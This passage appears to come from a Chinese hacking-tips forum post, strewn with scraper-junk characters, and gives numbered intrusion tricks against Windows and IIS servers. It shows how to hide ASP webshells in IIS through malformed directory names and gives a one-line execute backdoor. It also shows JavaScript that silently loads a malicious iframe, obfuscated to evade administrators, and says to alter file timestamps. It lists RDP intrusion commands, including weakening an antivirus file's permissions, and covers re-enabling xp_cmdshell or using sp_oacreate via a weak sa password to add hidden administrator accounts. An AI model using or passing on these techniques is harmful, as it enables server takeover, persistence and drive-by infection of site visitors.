# r1 G3 M( I" N6 ^) M( J: n执行后可以用AT命令查看新加的任务, [% s2 y) t7 Z- `
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
" O6 S: Y! j! ]' U/ l" @4 T$ s4 D+ e3 q* r) |/ l
53、隐藏ASP后门的两种方法
; C: P$ [: Q% `6 ^1、建立非标准目录:mkdir images..\
" d3 G, @/ m& q- I" P1 M拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
7 n5 i- p1 p" [. {. O* n( M通过web访问ASP木马:http://ip/images../news.asp?action=login
! c. S6 m1 C) M1 G* n7 \6 I如何删除非标准目录:rmdir images..\ /s: U5 ]$ }* q$ ?4 T0 l# N$ H
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:9 n) @# |# Z8 `+ O
mkdir programme.asp
2 g& D8 S0 o: [' d新建1.txt文件内容:<!--#include file=”12.jpg”-->$ U3 `: E" f0 F7 I" B
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
0 O; f( b; s" T8 \2 @attrib +H +S programme.asp
# H z: e3 J: h) J通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
9 Y# _. }4 @2 u, w1 {7 p3 n8 K. O- t5 B
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
! i$ Y# a& R# v# ?1 T6 T% P然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
6 @7 I! c: R/ P9 P7 p1 J! j7 U! ^* B) \
55、JS隐蔽挂马& x N9 \4 I8 O9 O: Y* r
1.
6 M+ o4 i2 W% Lvar tr4c3="<iframe src=ht";" |$ v- N" t9 ^
tr4c3 = tr4c3+"tp:/";
" b0 l) E9 G! R. e( u3 b; n: Gtr4c3 = tr4c3+"/ww";$ k4 e/ J( d* [. |
tr4c3 = tr4c3+"w.tr4";
; y) T5 i( N/ f8 str4c3 = tr4c3+"c3.com/inc/m";
* M- W- t& ~, rtr4c3 = tr4c3+"m.htm style="display:none"></i";
/ m& F- h# d9 v9 A( Z1 F$ P' Otr4c3 =tr4c3+"frame>'";! O) y3 |6 J7 S! ?6 d4 I
document.write(tr4c3);
& u2 P5 V! a, Q* _) L) F3 J6 l避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
G7 G: [: T( t! e7 t* [
# e/ o" ^1 Y7 d; [- P8 [. u& F2.
& z7 @* L5 G& ^5 ]8 v转换进制,然后用EVAL执行。如) X( @' E. c' J" h8 f
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
; @; m, n$ G7 L+ {. S6 H' M不过这个有点显眼。
! l) u/ K7 b+ d* s3.
: W" D, N( t) h* ? G$ ~/ q9 O6 ?, S# Wdocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
6 \" T6 d7 L; e6 K最后一点,别忘了把文件的时间也修改下。 `0 h: B; n% j. p* Y' {- @
8 m1 w7 T# r+ R5 n. `! ?) J7 \
56.3389终端入侵常用DOS命令
: R" ~7 }4 y( |! q) H8 jtaskkill taskkill /PID 1248 /t
# B% w* r6 I6 {1 \) A
! l9 @0 E/ D, `% @; b* dtasklist 查进程( \ C5 |7 W( `8 P9 E9 t
r+ J4 s' ]! E2 Fcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限 E9 X, |1 H; _6 g2 i* S% }
iisreset /reboot) ?) }/ B* p6 ^* f8 L# u# y
tsshutdn /reboot /delay:1 重起服务器
% f4 B2 x8 s; z N5 {+ ]1 {3 J4 d6 i
* m: {( g0 H& B2 Ylogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,1 i0 u6 B& K# u1 u$ R
1 v5 z8 s" M3 B2 w: P
query user 查看当前终端用户在线情况. [; \9 [2 ]0 p9 [
7 q2 b% N, p6 a/ p; Q, L' c# E
要显示有关所有会话使用的进程的信息,请键入:query process *
; C$ \ c. t5 U" V9 J4 q/ S$ {( W. K$ q6 v
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2* Z4 b$ \( Y2 q/ s
% C% R' p- f- S5 i6 K/ \$ H9 J
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
?6 i4 K: I n5 I! R" G; e5 L# F1 [" m' i" e, F7 f7 R
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
5 ~, O8 q# ?$ Z+ w. b$ }
( H: {: b+ P( F% j命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
2 G8 u; G1 j$ O( C# u N0 g; b! g: ?( e1 Z
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统1 @2 y$ j+ P9 x( P/ X6 y g, Z6 L
3 D& b9 g, Q0 r9 V: S* {命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
. _) T6 q; ~ d3 B# t9 l: y; X# {% B8 q1 ?. f) f. K6 @( D. R& Y: F
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机4 G! M* l* o3 @2 M* V7 V9 z
5 ~, B- o; |8 h' j/ U) I2 ]
56、在地址栏或按Ctrl+O,输入:
/ Q0 v, G# W, v/ q+ F$ S& Cjavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
1 ~5 S2 P- E0 v& ]8 W$ N& B' Y9 `$ m! r: d# t
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
+ F0 q/ D3 i/ D, _# E
$ `- }& t4 e3 g) V0 |1 U57、net user的时候,是不能显示加$的用户,但是如果不处理的话,2 L: W5 e8 k9 i6 P/ N2 Q
用net localgroup administrators是可以看到管理组下,加了$的用户的。
6 A& T2 r6 \3 d6 `0 r3 C: Y% ~' b* G) `$ h4 F9 w
58、 sa弱口令相关命令
/ _0 N8 j5 f) T& X/ x- T. q: u. z0 e; k2 {( C
一.更改sa口令方法:
0 ?' i/ h/ k% K+ T% y' p( P+ b用sql综合利用工具连接后,执行命令:; V# i. x/ N$ E" q
exec sp_password NULL,'20001001','sa'* z2 k8 ?+ T/ S& r! W( _! g
(提示:慎用!)* h) \/ p+ q5 K+ H @6 @/ H' s% I4 U
( h3 `6 |" s5 ]# T- M
二.简单修补sa弱口令.
$ P& O+ p2 S, ^% @
. G) _% Q, {+ q方法1:查询分离器连接后执行:
: a# f1 l+ R* T# q8 l7 ?if exists (select * from
4 s* [0 m1 d4 Q' e; P8 Sdbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and; S _" H: w3 f5 o1 S. g' \
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)6 t3 @; g3 l$ e, c. f% P+ ]
' t& n# g+ ?% X# h& v* Xexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'2 u, S$ e: h1 ]8 z
' f& c" q; h1 v# kGO+ T9 U) V8 c, u8 b3 p$ x9 {; l
* b# i6 D! u# k
然后按F5键命令执行完毕# K/ I/ G/ x1 d# {/ G3 w
4 N) U" @- u& S方法2:查询分离器连接后
; F8 b4 w& v' W* ]第一步执行:use master
0 m1 w# U* z- w9 t* N0 e2 c第二步执行:sp_dropextendedproc 'xp_cmdshell'
/ P4 B0 R; y- r5 | k5 K' V7 {然后按F5键命令执行完毕
# _: _! c7 W- ]0 a: f) }( O- V+ e$ N( m, p; q
1 ]; m. _5 _1 W; s" C5 Y
三.常见情况恢复执行xp_cmdshell.
! g6 Y2 i% H2 o' \
7 y8 ~' J% d0 ~4 d! r: r" ~
) ^$ D' {$ Z+ h! p M- e1 未能找到存储过程'master..xpcmdshell'.
$ b9 \- A$ A3 A 恢复方法:查询分离器连接后,9 N" l+ h$ T5 n8 h0 ~% B. E0 C
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
+ f: T+ |+ @0 M( G$ r2 `' ]) c第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'% [1 H- }8 p" f. H5 r! C
然后按F5键命令执行完毕2 i5 { D1 G4 ^5 B3 F" \. n2 r
& N( I4 A: Y% |2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。), q5 b# S& \' @! u7 S: g# o; M8 Z
恢复方法:查询分离器连接后,, B: ?, B- _+ C& G" O L
第一步执行:sp_dropextendedproc "xp_cmdshell"; l2 n; l, X; V6 `5 y% ]3 b i
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'7 ?+ f, y( ]+ ~) `$ I3 f: B, `( C
然后按F5键命令执行完毕9 C7 L& e4 m) Z% n. y
) D8 B; k( ~8 ^3 v: a. o) x2 B
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)2 X7 X. U- |; K- _/ @4 R: l
恢复方法:查询分离器连接后,% T2 j5 i# q) i% t8 Y4 \
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
+ @$ P& H1 c# X: _第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' " s0 q' ^3 M' G' e4 r% B- T [
然后按F5键命令执行完毕
1 G" b n- |+ G
5 Q' o! `$ v$ l* c" k7 W四.终极方法.
% K9 m) B6 @7 `3 l! M如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:- O, y2 m8 ~$ Z* L, ?7 D% j- T
查询分离器连接后,
" r6 Y" Y4 R$ U1 k2000servser系统:$ l& G# M: e9 J) D6 V5 X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
" ]/ T+ s' b6 l. i$ |) F
; ]6 T( Y' W [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'- W9 m) s4 g$ `; x
& H9 u: S4 C( m) B
xp或2003server系统:( R/ s$ J* ?+ \) W4 T" j
; A& |$ ]+ S- |' c# [# j' ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
( [8 ~# Y' q! [5 X8 H4 i+ u5 G3 ~4 Q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'" ^. m! o# \: y5 a
|